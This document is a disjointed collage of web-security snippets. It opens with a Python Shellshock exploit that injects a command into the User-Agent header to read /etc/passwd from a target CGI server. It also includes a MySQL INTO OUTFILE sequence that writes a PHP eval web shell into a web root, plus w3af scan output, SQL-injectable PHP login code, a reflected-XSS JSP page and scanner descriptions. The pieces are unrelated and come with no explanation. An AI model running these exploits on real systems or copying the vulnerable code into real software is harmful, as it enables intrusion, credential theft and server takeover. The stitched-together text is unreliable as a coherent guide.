#coding:utf-8

import urllib,httplib

import sys,re,urlparse

#author:nx4dm1n

#website:www.nxadmin.com

def bash_exp(url):

urlsp=urlparse.urlparse(url)

hostname=urlsp.netloc

urlpath=urlsp.path

conn=httplib.HTTPConnection(hostname)

headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}

conn.request("GET",urlpath,headers=headers)

res=conn.getresponse()

res=res.getheaders()

for passwdstr in res:

print passwdstr[0]+':'+passwdstr[1]

if __name__=='__main__':

#带http

if len(sys.argv)<2:

print "Usage: "+sys.argv[0]+"www.nxadmin.com/cgi-bin/index.cgi"

sys.exit()

else:

bash_exp(sys.argv[1])

w3af>>> start

---New URL found by phpinfo plugin: http://192.168.244.132/New URL found by phpinfo plugin: http://192.168.244.132/checklogin.phpNew URL found by phpinfo plugin: http://192.168.244.132/index.phpNew URL found by webSpider plugin: http://192.168.244.132/New URL found by webSpider plugin: http://192.168.244.132/checklogin.phpNew URL found by webSpider plugin: http://192.168.244.132/index.phpFound 3 URLs and 8 different points of injection.The list of URLs is:- http://192.168.244.132/index.php- http://192.168.244.132/checklogin.php- http://192.168.244.132/The list of fuzzable requests is:- http://192.168.244.132/ | Method: GET- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")- http://192.168.244.132/checklogin.php | Method: GET- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")- http://192.168.244.132/index.php | Method: GET- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid MySQL". The error was found on response with id 989.A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.Scan finished in 19 seconds.---//开始扫描

<script language="javascript">

function confirmpass(myform)

{

if (myform.password1.value.length && (myform.password1.value==myform.password2.value))

{

return true;

}

else

{

myform.password1.value="";

myform.password2.value="";

myform.password1.focus();

alert ("Passwords do not match");

return false;

}

}

</script>

Code Correctness：Class Does Not Implement equals

Hardcoded Domain in HTML

Hidden Field

J2EE Bad Practices

J2EE Misconfiguration

Missing Check against Null

Password Management:Password in Comment

Poor Error Handling

System Information Leak:Incomplete Servlet Error Handling

response.getWriter().write(

"<script language=\"javascript\"> " +

"document.write(\"<form action=dbase/admin/loginJsp.action method=post name=formx1 style='display:none'>\");" +

"document.write(\"<input type=hidden name=name value='"+sessionId+"'\");" +

"document.write(\"</form>\");" +

"document.formx1.submit();" +

"</script>"

);

response.getWriter().write(

"<script language=\"javascript\"> " +

"document.write(\"<form action=dbase/admin/loginJsp.action

method=post name=formx1 style='display:none'>\");" +

"document.write(\"<input type=hidden name=name value='"+sessionId+"'\");" +

"document.write(\"</form>\");" +

"document.formx1.submit();" +

"</script>"

);

<security-constraint>

<web-resource-collection>

<url-pattern>/*</url-pattern>

<http-method>PUT</http-method>

<http-method>DELETE</http-method>

<http-method>HEAD</http-method>

<http-method>OPTIONS</http-method>

<http-method>TRACE</http-method>

</web-resource-collection>

<auth-constraint>

</auth-constraint>

</security-constraint>

<login-config>

<auth-method>BASIC</auth-method>

</login-config>

<button onclick="console.log('target')">CLICK ME</button>

<script>

document.addEventListener('click', function(e) {

console.log('bubble');

});

document.addEventListener('click', function(e) {

console.log('capture');

//e.stopImmediatePropagation();

}, true);

</script>

Run

CREATE TABLE `mysql`.`xss` (`xss1` TEXT NOT NULL );

INSERT INTO `mysql`.`xss` (`xss1` ) VALUES ('<?php @eval($_POST[milantgh])?>');

SELECT xss1 FROM `mysql`.`xss` INTO OUTFILE 'd:/www/x.php';

<?

$q = "SELECT `id` FROM `users` WHERE `username`= ' " .$_GET['username']. " ' AND `password`= ' " .$_GET['password']. " ' ";

?>

<?

$q = "SELECT `id` FROM `users` WHERE `username`= ' " .mysql_real_escape_string( $_GET['username'] ). " ' AND `password`= ' " .mysql_real_escape_string( $_GET['password'] ). " ' ";

?>

<?

//connection

$database = mysql_connect("localhost", "username","password");

//db selection

mysql_select_db("database", $database);

$q = mysql_query("SELECT `id` FROM `users` WHERE `username`= ' " .mysql_real_escape_string( $_GET['username'] ). " ' AND `password`= ' " .mysql_real_escape_string( $_GET['password'] ). " ' ", $database);

?>

Wapiti allows you to audit the security of your web applications. It performs "black-box" scans,

i.e. it does not study the source code of the application but will scans the web pages of the deployed web applications,

looking for scripts and forms where it can inject data. Once it gets this list, Wapiti acts like a fuzzer,

injecting payloads to see if a script is vulnerable. Wapiti can detect the following vulnerabilities:

File Handling Errors (Local and remote include/require, fopen, ...)

Database Injection (PHP/JSP/ASP SQL Injections and XPath Injections)

XSS (Cross Site Scripting) Injection

LDAP Injection

Command Execution detection (eval(), system(), passtru()...)

CRLF Injection (HTTP Response Splitting, session fixation...)

CREATE TABLE users (

id int(11) NOT NULL AUTO_INCREMENT,

username varchar(64) NOT NULL,

password varchar(64) NOT NULL,

email varchar(64) NOT NULL,

PRIMARY KEY (id),

UNIQUE KEY username (username)

);

<?

if (isset($_POST["f_login"])) {

// 连接数据库...

// ...代码略...

// 检查用户是否存在

$t_strUname = $_POST["f_uname"];

$t_strPwd = $_POST["f_pwd"];

$t_strSQL = "SELECT * FROM tbl_users WHERE username='$t_strUname' AND password = '$t_strPwd' LIMIT 0,1";

if ($t_hRes = mysql_query($t_strSQL)) {

// 成功查询之后的处理. 略...

}

}

?>

<html><head><title>test</title></head>

<body>

<form method="post" action="">

Username: <input type="text" name="f_uname" size=30><br>

Password: <input type=text name="f_pwd" size=30><br>

<input type="submit" name="f_login" value="登录">

</form>

</body>

<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<title>XSS测试</title>

</head>

<body>

页面内容：<%=request.getParameter("content")%>

</body>

</html>